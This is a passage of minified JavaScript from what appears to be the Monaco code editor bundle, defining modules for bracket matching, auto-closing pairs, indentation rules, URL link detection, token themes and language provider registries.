RegExp)if(e.global)n=e;else{var i=\"g\";e.ignoreCase&&(i+=\"i\"),e.multiline&&(i+=\"m\"),n=new RegExp(e.source,i)}return n.lastIndex=0,n},t.getWordAtText=function(e,t,o,r){t.lastIndex=0;var s=t.exec(o);if(!s)return null;var a=s[0].indexOf(\" \")>=0?i(e,t,o,r):n(e,t,o,r);return t.lastIndex=0,a}}),define(d[511],h([1,0]),function(e,t){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var n=function(){function e(e){this._languageIdentifier=e}return e.prototype.getId=function(){return this._languageIdentifier.language},e.prototype.getLanguageIdentifier=function(){return this._languageIdentifier},e}();t.FrankensteinMode=n}),define(d[60],h([1,0]),function(e,t){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});!function(e){e[e.None=0]=\"None\",e[e.Indent=1]=\"Indent\",e[e.IndentOutdent=2]=\"IndentOutdent\",e[e.Outdent=3]=\"Outdent\"}(t.IndentAction||(t.IndentAction={}));var n=function(){function e(e){if(this.open=e.open,this.close=e.close,this._standardTokenMask=0,Array.isArray(e.notIn))for(var t=0,n=e.notIn.length;t<n;t++)switch(e.notIn[t]){case\"string\":this._standardTokenMask|=2;break;case\"comment\":this._standardTokenMask|=1;break;case\"regex\":this._standardTokenMask|=4}}return e.prototype.isOK=function(e){return 0==(this._standardTokenMask&e)},e}();t.StandardAutoClosingPairConditional=n}),define(d[513],h([1,0,165]),function(e,t,n){\"use strict\";function i(e,t,o){if(Array.isArray(e)){for(var r=0,s=0,a=e;s<a.length;s++){var u=i(a[s],t,o);if(10===u)return u;u>r&&(r=u)}return r}if(\"string\"==typeof e)return\"*\"===e?5:e===o?10:0;if(e){var l=e.language,c=e.pattern,d=e.scheme,r=0;if(d)if(d===t.scheme)r=10;else{if(\"*\"!==d)return 0;r=5}if(l)if(l===o)r=10;else{if(\"*\"!==l)return 0;r=Math.max(r,5)}if(c){if(c!==t.fsPath&&!n.match(c,t.fsPath))return 0;r=10}return r}return 0}Object.defineProperty(t,\"__esModule\",{value:!0}),t.default=function(e,t,n){return i(e,t,n)>0},t.score=i}),define(d[533],h([1,0,11,513]),function(e,t,n,i){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var o=function(){function e(){this._clock=0,this._entries=[],this._onDidChange=new n.Emitter}return Object.defineProperty(e.prototype,\"onDidChange\",{get:function(){return this._onDidChange.event},enumerable:!0,configurable:!0}),e.prototype.register=function(e,t){var n=this,i={selector:e,provider:t,_score:-1,_time:this._clock++};return this._entries.push(i),this._lastCandidate=void 0,this._onDidChange.fire(this._entries.length),{dispose:function(){if(i){var e=n._entries.indexOf(i);e>=0&&(n._entries.splice(e,1),n._lastCandidate=void 0,n._onDidChange.fire(n._entries.length),i=void 0)}}}},e.prototype.has=function(e){return this.all(e).length>0},e.prototype.all=function(e){if(!e||e.isTooLargeForHavingARichMode())return[];this._updateScores(e);for(var t=[],n=0,i=this._entries;n<i.length;n++){var o=i[n];o._score>0&&t.push(o.provider)}return t},e.prototype.ordered=function(e){var t=[];return this._orderedForEach(e,function(e){return t.push(e.provider)}),t},e.prototype.orderedGroups=function(e){var t,n,i=[];return this._orderedForEach(e,function(e){t&&n===e._score?t.push(e.provider):(n=e._score,t=[e.provider],i.push(t))}),i},e.prototype._orderedForEach=function(e,t){if(e&&!e.isTooLargeForHavingARichMode()){this._updateScores(e);for(var n=0;n<this._entries.length;n++){var i=this._entries[n];i._score>0&&t(i)}}},e.prototype._updateScores=function(t){var n={uri:t.uri.toString(),language:t.getLanguageIdentifier().language};if(!this._lastCandidate||this._lastCandidate.language!==n.language||this._lastCandidate.uri!==n.uri){this._lastCandidate=n;for(var o=0,r=this._entries;o<r.length;o++){var s=r[o];s._score=i.score(s.selector,t.uri,t.getLanguageIdentifier().language)}this._entries.sort(e._compareByScoreAndTime)}},e._compareByScoreAndTime=function(e,t){return e._score<t._score?1:e._score>t._score?-1:e._time<t._time?1:e._time>t._time?-1:0},e}();t.default=o}),define(d[536],h([1,0,89,96]),function(e,t,n,i){\"use strict\";function o(){return null===l&&(l=new u([[1,104,2],[1,72,2],[1,102,6],[1,70,6],[2,116,3],[2,84,3],[3,116,4],[3,84,4],[4,112,5],[4,80,5],[5,115,9],[5,83,9],[5,58,10],[6,105,7],[6,73,7],[7,108,8],[7,76,8],[8,101,9],[8,69,9],[9,58,10],[10,47,11],[11,47,12]])),l}function r(){if(null===c){c=new n.CharacterClassifier(0);for(e=0;e<\" \\t<>'\\\"、。｡､，．：；？！＠＃＄％＆＊‘“〈《「『【〔（［｛｢｣｝］）〕】』」》〉”’｀～…\".length;e++)c.set(\" \\t<>'\\\"、。｡､，．：；？！＠＃＄％＆＊‘“〈《「『【〔（［｛｢｣｝］）〕】』」》〉”’｀～…\".charCodeAt(e),1);for(var e=0;e<\".,;\".length;e++)c.set(\".,;\".charCodeAt(e),2)}return c}Object.defineProperty(t,\"__esModule\",{value:!0});var s;!function(e){e[e.Invalid=0]=\"Invalid\",e[e.Start=1]=\"Start\",e[e.H=2]=\"H\",e[e.HT=3]=\"HT\",e[e.HTT=4]=\"HTT\",e[e.HTTP=5]=\"HTTP\",e[e.F=6]=\"F\",e[e.FI=7]=\"FI\",e[e.FIL=8]=\"FIL\",e[e.BeforeColon=9]=\"BeforeColon\",e[e.AfterColon=10]=\"AfterColon\",e[e.AlmostThere=11]=\"AlmostThere\",e[e.End=12]=\"End\",e[e.Accept=13]=\"Accept\"}(s||(s={}));var a,u=function(){function e(e){for(var t=0,n=0,o=0,r=e.length;o<r;o++){var s=e[o],a=s[0],u=s[1],l=s[2];u>t&&(t=u),a>n&&(n=a),l>n&&(n=l)}t++,n++;for(var c=new i.Uint8Matrix(n,t,0),o=0,r=e.length;o<r;o++){var d=e[o],a=d[0],u=d[1],l=d[2];c.set(a,u,l)}this._states=c,this._maxCharCode=t}return e.prototype.nextState=function(e,t){return t<0||t>=this._maxCharCode?0:this._states.get(e,t)},e}(),l=null;!function(e){e[e.None=0]=\"None\",e[e.ForceTermination=1]=\"ForceTermination\",e[e.CannotEndIn=2]=\"CannotEndIn\"}(a||(a={}));var c=null,d=function(){function e(){}return e._createLink=function(e,t,n,i,o){var r=o-1;do{var s=t.charCodeAt(r);if(2!==e.get(s))break;r--}while(r>i);return{range:{startLineNumber:n,startColumn:i+1,endLineNumber:n,endColumn:r+2},url:t.substring(i,r+1)}},e.computeLinks=function(t){for(var n=o(),i=r(),s=[],a=1,u=t.getLineCount();a<=u;a++){for(var l=t.getLineContent(a),c=l.length,d=0,h=0,p=0,f=1,g=!1,m=!1,v=!1;d<c;){var _=!1,y=l.charCodeAt(d);if(13===f){var C=void 0;switch(y){case 40:g=!0,C=0;break;case 41:C=g?0:1;break;case 91:m=!0,C=0;break;case 93:C=m?0:1;break;case 123:v=!0,C=0;break;case 125:C=v?0:1;break;case 39:C=34===p||96===p?0:1;break;case 34:C=39===p||96===p?0:1;break;case 96:C=39===p||34===p?0:1;break;default:C=i.get(y)}1===C&&(s.push(e._createLink(i,l,a,h,d)),_=!0)}else 12===f?1===(C=i.get(y))?_=!0:f=13:0===(f=n.nextState(f,y))&&(_=!0);_&&(f=1,g=!1,m=!1,v=!1,h=d+1,p=y),d++}13===f&&s.push(e._createLink(i,l,a,h,c))}return s},e}();t.computeLinks=function(e){return e&&\"function\"==typeof e.getLineCount&&\"function\"==typeof e.getLineContent?d.computeLinks(e):[]}}),define(d[543],h([1,0,60]),function(e,t,n){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var i=function(){function e(e){e.autoClosingPairs?this._autoClosingPairs=e.autoClosingPairs.map(function(e){return new n.StandardAutoClosingPairConditional(e)}):e.brackets?this._autoClosingPairs=e.brackets.map(function(e){return new n.StandardAutoClosingPairConditional({open:e[0],close:e[1]})}):this._autoClosingPairs=[],this._surroundingPairs=e.surroundingPairs||this._autoClosingPairs}return e.prototype.getAutoClosingPairs=function(){return this._autoClosingPairs},e.prototype.shouldAutoClosePair=function(e,t,n){if(0===t.getTokenCount())return!0;for(var i=t.findTokenIndexAtOffset(n-2),o=t.getStandardTokenType(i),r=0;r<this._autoClosingPairs.length;++r){var s=this._autoClosingPairs[r];if(s.open===e)return s.isOK(o)}return!0},e.prototype.getSurroundingPairs=function(){return this._surroundingPairs},e}();t.CharacterPairSupport=i}),define(d[545],h([1,0,9,60]),function(e,t,n,i){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});!function(e){e[e.INCREASE_MASK=1]=\"INCREASE_MASK\",e[e.DECREASE_MASK=2]=\"DECREASE_MASK\",e[e.INDENT_NEXTLINE_MASK=4]=\"INDENT_NEXTLINE_MASK\",e[e.UNINDENT_MASK=8]=\"UNINDENT_MASK\"}(t.IndentConsts||(t.IndentConsts={}));var o=function(){function e(e){this._indentationRules=e}return e.prototype.onType=function(e){if(this._indentationRules){if(this._indentationRules.unIndentedLinePattern&&this._indentationRules.unIndentedLinePattern.test(e))return null;if(this._indentationRules.decreaseIndentPattern&&this._indentationRules.decreaseIndentPattern.test(e))return i.IndentAction.Outdent}return null},e.prototype.containNonWhitespace=function(e){return n.lastNonWhitespaceIndex(e)>=0},e.prototype.shouldIncrease=function(e){return!!(this._indentationRules&&this._indentationRules.increaseIndentPattern&&this._indentationRules.increaseIndentPattern.test(e))},e.prototype.shouldDecrease=function(e){return!!(this._indentationRules&&this._indentationRules.decreaseIndentPattern&&this._indentationRules.decreaseIndentPattern.test(e))},e.prototype.shouldIndentNextLine=function(e){return!!(this._indentationRules&&this._indentationRules.indentNextLinePattern&&this._indentationRules.indentNextLinePattern.test(e))},e.prototype.shouldIgnore=function(e){return!!(this._indentationRules&&this._indentationRules.unIndentedLinePattern&&this._indentationRules.unIndentedLinePattern.test(e))},e.prototype.getIndentMetadata=function(e){var t=0;return this.shouldIncrease(e)&&(t+=1),this.shouldDecrease(e)&&(t+=2),this.shouldIndentNextLine(e)&&(t+=4),this.shouldIgnore(e)&&(t+=8),t},e}();t.IndentRulesSupport=o}),define(d[546],h([1,0]),function(e,t){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var n=function(){function e(){this._defaultValueSet=[[\"true\",\"false\"],[\"True\",\"False\"],[\"Private\",\"Public\",\"Friend\",\"ReadOnly\",\"Partial\",\"Protected\",\"WriteOnly\"],[\"public\",\"protected\",\"private\"]]}return e.prototype.navigateValueSet=function(e,t,n,i,o){if(e&&t&&(r=this.doNavigateValueSet(t,o)))return{range:e,value:r};if(n&&i){var r=this.doNavigateValueSet(i,o);if(r)return{range:n,value:r}}return null},e.prototype.doNavigateValueSet=function(e,t){var n=this.numberReplace(e,t);return null!==n?n:this.textReplace(e,t)},e.prototype.numberReplace=function(e,t){var n=Math.pow(10,e.length-(e.lastIndexOf(\".\")+1)),i=Number(e),o=parseFloat(e);return isNaN(i)||isNaN(o)||i!==o?null:0!==i||t?(i=Math.floor(i*n),i+=t?n:-n,String(i/n)):null},e.prototype.textReplace=function(e,t){return this.valueSetsReplace(this._defaultValueSet,e,t)},e.prototype.valueSetsReplace=function(e,t,n){for(var i=null,o=0,r=e.length;null===i&&o<r;o++)i=this.valueSetReplace(e[o],t,n);return i},e.prototype.valueSetReplace=function(e,t,n){var i=e.indexOf(t);return i>=0?((i+=n?1:-1)<0?i=e.length-1:i%=e.length,e[i]):null},e.INSTANCE=new e,e}();t.BasicInplaceReplace=n}),define(d[550],h([1,0,10,9,60]),function(e,t,n,i,o){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var r=function(){function e(t){(t=t||{}).brackets=t.brackets||[[\"(\",\")\"],[\"{\",\"}\"],[\"[\",\"]\"]],this._brackets=t.brackets.map(function(t){return{open:t[0],openRegExp:e._createOpenBracketRegExp(t[0]),close:t[1],closeRegExp:e._createCloseBracketRegExp(t[1])}}),this._regExpRules=t.regExpRules||[],this._indentationRules=t.indentationRules}return e.prototype.onEnter=function(e,t,n){for(var i=0,r=this._regExpRules.length;i<r;i++){var s=this._regExpRules[i];if(s.beforeText.test(t)){if(!s.afterText)return s.action;if(s.afterText.test(n))return s.action}}if(t.length>0&&n.length>0)for(var i=0,r=this._brackets.length;i<r;i++)if((a=this._brackets[i]).openRegExp.test(t)&&a.closeRegExp.test(n))return{indentAction:o.IndentAction.IndentOutdent};if(t.length>0)for(var i=0,r=this._brackets.length;i<r;i++){var a=this._brackets[i];if(a.openRegExp.test(t))return{indentAction:o.IndentAction.Indent}}return null},e._createOpenBracketRegExp=function(t){var n=i.escapeRegExpCharacters(t);return/\\B/.test(n.charAt(0))||(n=\"\\\\b\"+n),n+=\"\\\\s*$\",e._safeRegExp(n)},e._createCloseBracketRegExp=function(t){var n=i.escapeRegExpCharacters(t);return/\\B/.test(n.charAt(n.length-1))||(n+=\"\\\\b\"),n=\"^\\\\s*\"+n,e._safeRegExp(n)},e._safeRegExp=function(e){try{return new RegExp(e)}catch(e){return n.onUnexpectedError(e),null}},e}();t.OnEnterSupport=r}),define(d[98],h([1,0,9,2]),function(e,t,n,i){\"use strict\";function o(e,t){var n={};return function(i){var o=e(i);return n.hasOwnProperty(o)||(n[o]=t(i)),n[o]}}function r(e){var t=\"(\"+e.map(n.escapeRegExpCharacters).join(\")|(\")+\")\";return n.createRegExp(t,!0)}Object.defineProperty(t,\"__esModule\",{value:!0});var s=function(){return function(e,t,n,i,o){this.languageIdentifier=e,this.open=t,this.close=n,this.forwardRegex=i,this.reversedRegex=o}}();t.RichEditBracket=s;var a=function(){return function(e,t){var n=this;this.brackets=t.map(function(t){return new s(e,t[0],t[1],u({open:t[0],close:t[1]}),l({open:t[0],close:t[1]}))}),this.forwardRegex=c(this.brackets),this.reversedRegex=d(this.brackets),this.textIsBracket={},this.textIsOpenBracket={};var i=0;this.brackets.forEach(function(e){n.textIsBracket[e.open.toLowerCase()]=e,n.textIsBracket[e.close.toLowerCase()]=e,n.textIsOpenBracket[e.open.toLowerCase()]=!0,n.textIsOpenBracket[e.close.toLowerCase()]=!1,i=Math.max(i,e.open.length),i=Math.max(i,e.close.length)}),this.maxBracketLength=i}}();t.RichEditBrackets=a;var u=o(function(e){return e.open+\";\"+e.close},function(e){return r([e.open,e.close])}),l=o(function(e){return e.open+\";\"+e.close},function(e){return r([h(e.open),h(e.close)])}),c=o(function(e){return e.map(function(e){return e.open+\";\"+e.close}).join(\";\")},function(e){var t=[];return e.forEach(function(e){t.push(e.open),t.push(e.close)}),r(t)}),d=o(function(e){return e.map(function(e){return e.open+\";\"+e.close}).join(\";\")},function(e){var t=[];return e.forEach(function(e){t.push(h(e.open)),t.push(h(e.close))}),r(t)}),h=function(){function e(e){for(var t=\"\",n=e.length-1;n>=0;n--)t+=e.charAt(n);return t}var t=null,n=null;return function(i){return t!==i&&(n=e(t=i)),n}}(),p=function(){function e(){}return e._findPrevBracketInText=function(e,t,n,o){var r=n.match(e);if(!r)return null;var s=n.length-r.index,a=r[0].length,u=o+s;return new i.Range(t,u-a+1,t,u+1)},e.findPrevBracketInToken=function(e,t,n,i,o){var r=h(n).substring(n.length-o,n.length-i);return this._findPrevBracketInText(e,t,r,i)},e.findNextBracketInText=function(e,t,n,o){var r=n.match(e);if(!r)return null;var s=r.index,a=r[0].length,u=o+s;return new i.Range(t,u+1,t,u+1+a)},e.findNextBracketInToken=function(e,t,n,i,o){var r=n.substring(i,o);return this.findNextBracketInText(e,t,r,i)},e}();t.BracketsUtils=p}),define(d[202],h([1,0,32]),function(e,t,n){\"use strict\";function i(e){if(!e||!Array.isArray(e))return[];for(var t=[],n=0,i=0,o=e.length;i<o;i++){var r=e[i],s=-1;if(\"string\"==typeof r.fontStyle){s=0;for(var u=r.fontStyle.split(\" \"),l=0,c=u.length;l<c;l++)switch(u[l]){case\"italic\":s|=1;break;case\"bold\":s|=2;break;case\"underline\":s|=4}}var d=null;\"string\"==typeof r.foreground&&(d=r.foreground);var h=null;\"string\"==typeof r.background&&(h=r.background),t[n++]=new a(r.token||\"\",i,s,d,h)}return t}function o(e){e.sort(function(e,t){var n=s(e.token,t.token);return 0!==n?n:e.index-t.index});for(var t=0,n=\"000000\",i=\"ffffff\";e.length>=1&&\"\"===e[0].token;){var o=e.shift();-1!==o.fontStyle&&(t=o.fontStyle),null!==o.foreground&&(n=o.foreground),null!==o.background&&(i=o.background)}for(var r=new u,a=new d(t,r.getId(n),r.getId(i)),c=new p(a),h=0,f=e.length;h<f;h++){var g=e[h];c.insert(g.token,g.fontStyle,r.getId(g.foreground),r.getId(g.background))}return new l(r,c)}function r(e){var t=e.match(c);if(!t)return 0;switch(t[1]){case\"comment\":return 1;case\"string\":return 2;case\"regex\":return 4}throw new Error(\"Unexpected match for standard token type!\")}function s(e,t){return e<t?-1:e>t?1:0}Object.defineProperty(t,\"__esModule\",{value:!0});var a=function(){return function(e,t,n,i,o){this.token=e,this.index=t,this.fontStyle=n,this.foreground=i,this.background=o}}();t.ParsedTokenThemeRule=a,t.parseTokenTheme=i;var u=function(){function e(){this._lastColorId=0,this._id2color=[],this._color2id=new Map}return e.prototype.getId=function(e){if(null===e)return 0;if(e=e.toUpperCase(),!/^[0-9A-F]{6}$/.test(e))throw new Error(\"Illegal color name: \"+e);var t=this._color2id.get(e);return t||(t=++this._lastColorId,this._color2id.set(e,t),this._id2color[t]=n.Color.fromHex(\"#\"+e),t)},e.prototype.getColorMap=function(){return this._id2color.slice(0)},e}();t.ColorMap=u;var l=function(){function e(e,t){this._colorMap=e,this._root=t,this._cache=new Map}return e.createFromRawTokenTheme=function(e){return this.createFromParsedTokenTheme(i(e))},e.createFromParsedTokenTheme=function(e){return o(e)},e.prototype.getColorMap=function(){return this._colorMap.getColorMap()},e.prototype.getThemeTrieElement=function(){return this._root.toExternalThemeTrieElement()},e.prototype._match=function(e){return this._root.match(e)},e.prototype.match=function(e,t){var n=this._cache.get(t);if(void 0===n){var i=this._match(t),o=r(t);n=(i.metadata|o<<8)>>>0,this._cache.set(t,n)}return(n|e<<0)>>>0},e}();t.TokenTheme=l;var c=/\\b(comment|string|regex)\\b/;t.toStandardTokenType=r,t.strcmp=s;var d=function(){function e(e,t,n){this._fontStyle=e,this._foreground=t,this._background=n,this.metadata=(this._fontStyle<<11|this._foreground<<14|this._background<<23)>>>0}return e.prototype.clone=function(){return new e(this._fontStyle,this._foreground,this._background)},e.cloneArr=function(e){for(var t=[],n=0,i=e.length;n<i;n++)t[n]=e[n].clone();return t},e.prototype.acceptOverwrite=function(e,t,n){-1!==e&&(this._fontStyle=e),0!==t&&(this._foreground=t),0!==n&&(this._background=n),this.metadata=(this._fontStyle<<11|this._foreground<<14|this._background<<23)>>>0},e}();t.ThemeTrieElementRule=d;var h=function(){return function(e,t){this.mainRule=e,this.children=t||Object.create(null)}}();t.ExternalThemeTrieElement=h;var p=function(){function e(e){this._mainRule=e,this._children=new Map}return e.prototype.toExternalThemeTrieElement=function(){var e=Object.create(null);return this._children.forEach(function(t,n){e[n]=t.toExternalThemeTrieElement()}),new h(this._mainRule,e)},e.prototype.match=function(e){if(\"\"===e)return this._mainRule;var t,n,i=e.indexOf(\".\");-1===i?(t=e,n=\"\"):(t=e.substring(0,i),n=e.substring(i+1));var o=this._children.get(t);return void 0!==o?o.match(n):this._mainRule},e.prototype.insert=function(t,n,i,o){if(\"\"!==t){var r,s,a=t.indexOf(\".\");-1===a?(r=t,s=\"\"):(r=t.substring(0,a),s=t.substring(a+1));var u=this._children.get(r);void 0===u&&(u=new e(this._mainRule.clone()),this._children.set(r,u)),u.insert(s,n,i,o)}else this._mainRule.acceptOverwrite(n,i,o)},e}();t.ThemeTrieElement=p,t.generateTokensCSSForColorMap=function(e){for(var t=[],n=1,i=e.length;n<i;n++){var o=e[n];t[n]=\".mtk\"+n+\" { color: \"+o.toString()+\"; }\"}return t.push(\".mtki { font-style: italic; }\"),t.push(\".mtkb { font-weight: bold; }\"),t.push(\".mtku { text-decoration: underline; }\"),t.join(\"\\n\")}}),define(d[203],h([1,0,11,26]),function(e,t,n,i){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var o=function(){function e(){this._onDidChange=new n.Emitter,this.onDidChange=this._onDidChange.event,this._map=Object.create(null),this._colorMap=null}return e.prototype.fire=function(e){this._onDidChange.fire({changedLanguages:e,changedColorMap:!1})},e.prototype.register=function(e,t){var n=this;return this._map[e]=t,this.fire([e]),{dispose:function(){n._map[e]===t&&(delete n._map[e],n.fire([e]))}}},e.prototype.get=function(e){return this._map[e]||null},e.prototype.setColorMap=function(e){i.equals(e,this._colorMap)||(this._colorMap=e,this._onDidChange.fire({changedLanguages:Object.keys(this._map),changedColorMap:!0}))},e.prototype.getColorMap=function(){return this._colorMap},e.prototype.getDefaultForeground=function(){return this._colorMap[1]},e.prototype.getDefaultBackground=function(){return this._colorMap[2]},e}();t.TokenizationRegistryImpl=o}),define(d[17],h([1,0,533,203]),function(e,t,n,i){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});!function(e){e[e.Null=0]=\"Null\",e[e.PlainText=1]=\"PlainText\"}(t.LanguageId||(t.LanguageId={}));var o=function(){return function(e,t){this.language=e,this.id=t}}();t.LanguageIdentifier=o;!function(e){e[e.NotSet=-1]=\"NotSet\",e[e.None=0]=\"None\",e[e.Italic=1]=\"Italic\",e[e.Bold=2]=\"Bold\",e[e.Underline=4]=\"Underline\"}(t.FontStyle||(t.FontStyle={}));!function(e){e[e.None=0]=\"None\",e[e.DefaultForeground=1]=\"DefaultForeground\",e[e.DefaultBackground=2]=\"DefaultBackground\"}(t.ColorId||(t.ColorId={}));!function(e){e[e.Other=0]=\"Other\",e[e.Comment=1]=\"Comment\",e[e.String=2]=\"String\",e[e.RegEx=4]=\"RegEx\"}(t.StandardTokenType||(t.StandardTokenType={}));!function(e){e[e.LANGUAGEID_MASK=255]=\"LANGUAGEID_MASK\",e[e.TOKEN_TYPE_MASK=1792]=\"TOKEN_TYPE_MASK\",e[e.FONT_STYLE_MASK=14336]=\"FONT_STYLE_MASK\",e[e.FOREGROUND_MASK=8372224]=\"FOREGROUND_MASK\",e[e.BACKGROUND_MASK=4286578688]=\"BACKGROUND_MASK\",e[e.LANGUAGEID_OFFSET=0]=\"LANGUAGEID_OFFSET\",e[e.TOKEN_TYPE_OFFSET=8]=\"TOKEN_TYPE_OFFSET\",e[e.FONT_STYLE_OFFSET=11]=\"FONT_STYLE_OFFSET\",e[e.FOREGROUND_OFFSET=14]=\"FOREGROUND_OFFSET\",e[e.BACKGROUND_OFFSET=23]=\"BACKGROUND_OFFSET\"}(t.MetadataConsts||(t.MetadataConsts={}));!function(e){e[e.Text=0]=\"Text\",e[e.Read=1]=\"Read\",e[e.Write=2]=\"Write\"}(t.DocumentHighlightKind||(t.DocumentHighlightKind={}));var r;!function(e){e[e.File=0]=\"File\",e[e.Module=1]=\"Module\",e[e.Namespace=2]=\"Namespace\",e[e.Package=3]=\"Package\",e[e.Class=4]=\"Class\",e[e.Method=5]=\"Method\",e[e.Property=6]=\"Property\",e[e.Field=7]=\"Field\",e[e.Constructor=8]=\"Constructor\",e[e.Enum=9]=\"Enum\",e[e.Interface=10]=\"Interface\",e[e.Function=11]=\"Function\",e[e.Variable=12]=\"Variable\",e[e.Constant=13]=\"Constant\",e[e.String=14]=\"String\",e[e.Number=15]=\"Number\",e[e.Boolean=16]=\"Boolean\",e[e.Array=17]=\"Array\",e[e.Object=18]=\"Object\",e[e.Key=19]=\"Key\",e[e.Null=20]=\"Null\",e[e.EnumMember=21]=\"EnumMember\",e[e.Struct=22]=\"Struct\",e[e.Event=23]=\"Event\",e[e.Operator=24]=\"Operator\",e[e.TypeParameter=25]=\"TypeParameter\"}(r=t.SymbolKind||(t.SymbolKind={})),t.symbolKindToCssClass=function(){var e=Object.create(null);return e[r.File]=\"file\",e[r.Module]=\"module\",e[r.Namespace]=\"namespace\",e[r.Package]=\"package\",e[r.Class]=\"class\",e[r.Method]=\"method\",e[r.Property]=\"property\",e[r.Field]=\"field\",e[r.Constructor]=\"constructor\",e[r.Enum]=\"enum\",e[r.Interface]=\"interface\",e[r.Function]=\"function\",e[r.Variable]=\"variable\",e[r.Constant]=\"constant\",e[r.String]=\"string\",e[r.Number]=\"number\",e[r.Boolean]=\"boolean\",e[r.Array]=\"array\",e[r.Object]=\"object\",e[r.Key]=\"key\",e[r.Null]=\"null\",e[r.EnumMember]=\"enum-member\",e[r.Struct]=\"struct\",e[r.Event]=\"event\",e[r.Operator]=\"operator\",e[r.TypeParameter]=\"type-parameter\",function(t){return e[t]||\"property\"}}(),t.ReferenceProviderRegistry=new n.default,t.RenameProviderRegistry=new n.default,t.SuggestRegistry=new n.default,t.SignatureHelpProviderRegistry=new n.default,t.HoverProviderRegistry=new n.default,t.DocumentSymbolProviderRegistry=new n.default,t.DocumentHighlightProviderRegistry=new n.default,t.DefinitionProviderRegistry=new n.default,t.ImplementationProviderRegistry=new n.default,t.TypeDefinitionProviderRegistry=new n.default,t.CodeLensProviderRegistry=new n.default,t.CodeActionProviderRegistry=new n.default,t.DocumentFormattingEditProviderRegistry=new n.default,t.DocumentRangeFormattingEditProviderRegistry=new n.default,t.OnTypeFormattingEditProviderRegistry=new n.default,t.LinkProviderRegistry=new n.default,t.ColorProviderRegistry=new n.default,t.TokenizationRegistry=new i.TokenizationRegistryImpl}),define(d[68],h([1,0,17,97]),function(e,t,n,i){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var o=function(){function e(){}return e.prototype.clone=function(){return this},e.prototype.equals=function(e){return this===e},e}();t.NULL_STATE=new o,t.NULL_MODE_ID=\"vs.editor.nullMode\",t.NULL_LANGUAGE_IDENTIFIER=new n.LanguageIdentifier(t.NULL_MODE_ID,0),t.nullTokenize=function(e,t,n,o){return new i.TokenizationResult([new i.Token(o,\"\",e)],n)},t.nullTokenize2=function(e,t,n,o){var r=new Uint32Array(2);return r[0]=o,r[1]=(16384|e<<0|2<<23)>>>0,new i.TokenizationResult2(r,n)}}),define(d[91],h([1,0,17]),function(e,t,n){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0}),t.createScopedLineTokens=function(e,t){for(var n=e.getTokenCount(),o=e.findTokenIndexAtOffset(t),r=e.getLanguageId(o),s=o;s+1<n&&e.getLanguageId(s+1)===r;)s++;for(var a=o;a>0&&e.getLanguageId(a-1)===r;)a--;return new i(e,r,a,s+1,e.getTokenStartOffset(a),e.getTokenEndOffset(s))};var i=function(){function e(e,t,n,i,o,r){this._actual=e,this.languageId=t,this._firstTokenIndex=n,this._lastTokenIndex=i,this.firstCharOffset=o,this._lastCharOffset=r}return e.prototype.getLineContent=function(){return this._actual.getLineContent().substring(this.firstCharOffset,this._lastCharOffset)},e.prototype.getTokenCount=function(){return this._lastTokenIndex-this._firstTokenIndex},e.prototype.findTokenIndexAtOffset=function(e){return this._actual.findTokenIndexAtOffset(e+this.firstCharOffset)-this._firstTokenIndex},e.prototype.getTokenStartOffset=function(e){return this._actual.getTokenStartOffset(e+this._firstTokenIndex)-this.firstCharOffset},e.prototype.getStandardTokenType=function(e){return this._actual.getStandardTokenType(e+this._firstTokenIndex)},e}();t.ScopedLineTokens=i;var o;!function(e){e[e.value=7]=\"value\"}(o||(o={})),t.ignoreBracketsInToken=function(e){return 0!=(7&e)}}),define(d[207],h([1,0,91,98,60]),function(e,t,n,i,o){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var r=function(){function e(e,t,n){n=n||{},this._richEditBrackets=e,this._complexAutoClosePairs=t.filter(function(e){return e.open.length>1&&!!e.close}).map(function(e){return new o.StandardAutoClosingPairConditional(e)}),n.docComment&&this._complexAutoClosePairs.push(new o.StandardAutoClosingPairConditional({open:n.docComment.open,close:n.docComment.close}))}return e.prototype.getElectricCharacters=function(){var e=[];if(this._richEditBrackets)for(var t=0,n=this._richEditBrackets.brackets.length;t<n;t++){var i=this._richEditBrackets.brackets[t],o=i.close.charAt(i.close.length-1);e.push(o)}for(var r=0,s=this._complexAutoClosePairs;r<s.length;r++){var a=s[r];e.push(a.open.charAt(a.open.length-1))}return e=e.filter(function(e,t,n){return n.indexOf(e)===t})},e.prototype.onElectricCharacter=function(e,t,n){return this._onElectricAutoClose(e,t,n)||this._onElectricAutoIndent(e,t,n)},e.prototype._onElectricAutoIndent=function(e,t,o){if(!this._richEditBrackets||0===this._richEditBrackets.brackets.length)return null;var r=t.findTokenIndexAtOffset(o-1);if(n.ignoreBracketsInToken(t.getStandardTokenType(r)))return null;var s=this._richEditBrackets.reversedRegex,a=t.getLineContent().substring(0,o-1)+e,u=i.BracketsUtils.findPrevBracketInToken(s,1,a,0,a.length);if(!u)return null;var l=a.substring(u.startColumn-1,u.endColumn-1);if(l=l.toLowerCase(),this._richEditBrackets.textIsOpenBracket[l])return null;var c=a.substring(0,u.startColumn-1);return/^\\s*$/.test(c)?{matchOpenBracket:l}:null},e.prototype._onElectricAutoClose=function(e,t,n){if(!this._complexAutoClosePairs.length)return null;for(var i=t.getLineContent(),o=0,r=this._complexAutoClosePairs.length;o<r;o++){var s=this._complexAutoClosePairs[o];if(e===s.open.charAt(s.open.length-1)&&i.substring(i.length-s.open.length+1)+e===s.open){var a=t.findTokenIndexAtOffset(n-1),u=t.getStandardTokenType(a);if(s.isOK(u)&&!(i.indexOf(s.close,n-1)>=0))return{appendText:s.close}}}return null},e}();t.BracketElectricCharacterSupport=r}),define(d[43],h([1,0,543,207,550,545,98,11,10,9,95,91,2,60]),function(e,t,n,i,o,r,s,a,u,l,c,d,h,p){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var f=function(){function e(t,o,a){var u=null;o&&(u=o._conf),this._conf=e._mergeConf(u,a),this._conf.brackets&&(this.brackets=new 